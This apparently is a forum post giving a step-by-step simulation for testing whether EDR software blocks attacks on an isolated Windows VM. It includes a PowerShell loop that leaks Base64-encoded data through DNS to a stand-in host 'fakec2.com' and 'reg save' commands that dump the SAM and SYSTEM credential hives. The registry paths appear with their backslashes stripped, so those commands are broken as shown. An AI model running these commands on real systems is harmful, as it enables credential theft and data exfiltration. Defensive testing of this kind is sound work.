Too many EDR deployments are set to "observe" by default. If you haven't tested its blocking, you don't know if it works. Here's a basic, safe simulation to validate detection and response.
**Prerequisites:**
* Isolated test VM (Windows 10/11)
* EDR agent installed with prevention policies active
* Known-good backup of the VM
**Simulation Steps:**
1. **Establish C2 Sim (Ingress):** Use a lightweight tool to mimic beaconing.
```powershell
# Simulate DNS exfiltration attempt
for ($i=0; $i -lt 10; $i++) {
Resolve-DnsName -Name "$([System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes((Get-Date).ToString()))).fakec2.com" -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
}
```
2. **Lateral Movement & PrivEsc:** Attempt credential access and remote execution.
```cmd
reg save hklmsam c:tempsam.save
reg save hklmsystem c:tempsystem.save
```
3. **Data Discovery & Encryption (Ransomware Action):** This script mimics file enumeration and "encryption" by appending a marker. **SAFE.**
```powershell
$testDir = "C:testdata"
New-Item -ItemType Directory -Force -Path $testDir
1..5 | ForEach-Object { New-Item -ItemType File -Path "$testDirtestfile$_.txt" -Force }
Get-ChildItem -Path $testDir -Recurse -Include *.txt | ForEach-Object {
# Simulate file encryption by appending text, NOT real encryption
Add-Content -Path $_.FullName -Value " [ENCRYPTED_SIMULATION] "
# Rename extension to mimic ransomware
Rename-Item -Path $_.FullName -NewName ($_.Name + ".encrypted_sim")
}
```
**Check your EDR console for:**
* Process execution chain events
* Suspicious registry access (SAM/SYSTEM)
* File extension mass-change detection
* Network telemetry for the DNS requests
* Was the process tree killed? Were files blocked from modification?
If your EDR only logged these events and didn't block or alert with high severity, your prevention policies need tuning.
- bench_beast
Benchmarks don't lie.